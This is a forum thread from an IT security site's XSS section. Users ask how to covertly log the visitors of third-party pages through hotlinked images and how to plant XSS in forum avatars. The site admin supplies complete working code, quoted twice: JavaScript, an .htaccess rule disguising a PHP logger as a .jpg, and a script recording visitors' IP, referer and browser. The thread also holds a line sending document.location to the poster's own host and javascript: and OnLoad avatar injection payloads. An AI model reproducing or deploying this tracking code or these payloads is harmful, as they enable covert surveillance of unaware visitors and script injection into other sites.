Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
December 6, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 252
Members: 0
Total: 252
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> XSS Through Image
Post new topic  Reply to topic View previous topic :: View next topic 
XSS Through Image
PostPosted: Sun Mar 26, 2006 4:22 am Reply with quote
cdn
Beginner
Beginner
 
Joined: Mar 26, 2006
Posts: 2




If I hotlink an image from my website to another how can I get it to log the full url in the browser of the person viewing the image at that (or those) website(s)? Basically something that logs the url present in the browser of someone loading the image.


I guess something like this would be used for the sytax:

document.write("<img src=http://mywebsitehere/?a=" + document.location + ">");


but then what...how do i log the url from the viewer on my remote site? Is there some PHP script I can use for this purpose that would dump the url into a textfile?
View user's profile Send private message
PostPosted: Sun Mar 26, 2006 10:33 am Reply with quote
fizzi
Advanced user
Advanced user
 
Joined: Sep 14, 2005
Posts: 55




i would try to make a php script which logs the url the visitor came from. this php script has to be renamed to the original image file. (and your server must interpret this file as a php script) somehow you must garantee, that the original image will be loaded by the script and then send back through the script.
View user's profile Send private message
PostPosted: Sun Mar 26, 2006 5:15 pm Reply with quote
cdn
Beginner
Beginner
 
Joined: Mar 26, 2006
Posts: 2




Okay. what would the script be?
View user's profile Send private message
PostPosted: Sun Mar 26, 2006 6:00 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Here is one possible solution, using 'HTTP_REFERER':

1. Client-side javascript:

Code:

<script type="text/javascript">
var x=new Image();x.src="http://www.myserver.com/img/pic2871.jpg";
</script>



2. .htaccess file in "/img/" directory:

Code:

RewriteEngine on

RewriteRule ^pic([0-9]*).jpg pic321.php


3. Php logging script "pic321.php":

Code:

<?php
error_reporting(0);

//===================================================
$realpath = dirname(__FILE__);
$mainlogfile = $realpath . '/logz/log321.html';


// preparing various data

$time = date("F jS Y, h:iA");
$remote_ip = $_SERVER['REMOTE_ADDR'];
$hostname = @gethostbyaddr($remote_ip);
$referer = @htmlspecialchars($_SERVER['HTTP_REFERER']);
$browser = @htmlspecialchars($_SERVER['HTTP_USER_AGENT']); 
$forwarder_ip = @htmlspecialchars(getenv('HTTP_X_FORWARDED_FOR'));
$request = @htmlspecialchars($_SERVER['REQUEST_URI']);


// appending mainlog
   
$mainlog = "<b>Time:</b> $time<br>";
$mainlog .= "<b>IP:</b> $remote_ip <br><b>HostName:</b> $hostname<br>";
$mainlog .= "<b>Referer:</b> $referer<br>";
$mainlog .= "<b>X Forwarder:</b> $forwarder_ip<br>";
$mainlog .= "<b>Browser:</b> $browser<br>";
$mainlog .= "<b>Request:</b> $request<br>";
$mainlog .= "--------------------------------<br>";
   
$fh = @fopen($mainlogfile,'ab'); 
@fwrite($fh,$mainlog);
@fclose($fh);

//===================================================

$buff = file_get_contents('./pic123.jpg');
header("Content-type: image/jpeg");
echo $buff;

die();
?>



Referer will work in most of the cases, but there are firewalls and other software and hardware, that can remove that piece of info. In this case
javascript "document.location" will be better choice.

Feedback is welcome Wink
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Apr 22, 2006 3:53 am Reply with quote
gila
Beginner
Beginner
 
Joined: Jul 09, 2005
Posts: 2




waraxe wrote:
Here is one possible solution, using 'HTTP_REFERER':

1. Client-side javascript:

Code:

<script type="text/javascript">
var x=new Image();x.src="http://www.myserver.com/img/pic2871.jpg";
</script>



2. .htaccess file in "/img/" directory:

Code:

RewriteEngine on

RewriteRule ^pic([0-9]*).jpg pic321.php


3. Php logging script "pic321.php":

Code:

<?php
error_reporting(0);

//===================================================
$realpath = dirname(__FILE__);
$mainlogfile = $realpath . '/logz/log321.html';


// preparing various data

$time = date("F jS Y, h:iA");
$remote_ip = $_SERVER['REMOTE_ADDR'];
$hostname = @gethostbyaddr($remote_ip);
$referer = @htmlspecialchars($_SERVER['HTTP_REFERER']);
$browser = @htmlspecialchars($_SERVER['HTTP_USER_AGENT']); 
$forwarder_ip = @htmlspecialchars(getenv('HTTP_X_FORWARDED_FOR'));
$request = @htmlspecialchars($_SERVER['REQUEST_URI']);


// appending mainlog
   
$mainlog = "<b>Time:</b> $time<br>";
$mainlog .= "<b>IP:</b> $remote_ip <br><b>HostName:</b> $hostname<br>";
$mainlog .= "<b>Referer:</b> $referer<br>";
$mainlog .= "<b>X Forwarder:</b> $forwarder_ip<br>";
$mainlog .= "<b>Browser:</b> $browser<br>";
$mainlog .= "<b>Request:</b> $request<br>";
$mainlog .= "--------------------------------<br>";
   
$fh = @fopen($mainlogfile,'ab'); 
@fwrite($fh,$mainlog);
@fclose($fh);

//===================================================

$buff = file_get_contents('./pic123.jpg');
header("Content-type: image/jpeg");
echo $buff;

die();
?>



Referer will work in most of the cases, but there are firewalls and other software and hardware, that can remove that piece of info. In this case
javascript "document.location" will be better choice.

Feedback is welcome Wink


can you create XSS script that we can put inside the forum Avatar with
ext. file still .jpg? tq.
View user's profile Send private message
PostPosted: Wed May 24, 2006 11:06 pm Reply with quote
Tori
Regular user
Regular user
 
Joined: Jun 12, 2005
Posts: 6




RewriteRule is a good idea.
(You can use AddHandler to parse .gif as .php as well, another option but some free servers don't support it to prevent image hot linking.)

For forum avatars you need to find a XSS bug first. Sometimes simply javascript:("whatever") or vbscript:whatever as the forum avatar works! In IE and Mozilla Firefox <img src="javascript:('');"> is still valid syntax even though it is trapped within the quotes.

Another way is to exploit Onload="" to run javascripts.

<img name="a" src="http:/whatever.gif" width=0 height=0>
<img name="b" src="http:/whatever.gif" OnLoad=a.src=[javascript code] width=0 height=0>
View user's profile Send private message
XSS Through Image
  www.waraxe.us Forum Index -> Cross-site scripting aka XSS
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.081 Seconds